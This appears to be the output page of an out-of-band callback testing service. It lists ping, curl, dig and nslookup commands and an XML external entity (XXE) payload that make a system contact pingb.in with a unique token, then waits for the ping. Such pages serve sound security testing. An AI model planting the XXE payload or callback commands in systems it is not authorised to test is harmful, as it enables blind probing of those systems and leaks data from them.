$ ping -c1 -p 0037e9c4b472792ef3169372815df600 pingb.in
 
$ curl pingb.in/p/37e9c4b472792ef3169372815df6
 
$ dig 37e9c4b472792ef3169372815df6 @pingb.in
 
$ dig 37e9c4b472792ef3169372815df6.ns.pingb.in
 
C:\> nslookup 37e9c4b472792ef3169372815df6 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/37e9c4b472792ef3169372815df6">]>
    <foo>&xxe;</foo>
 
Waiting for ping...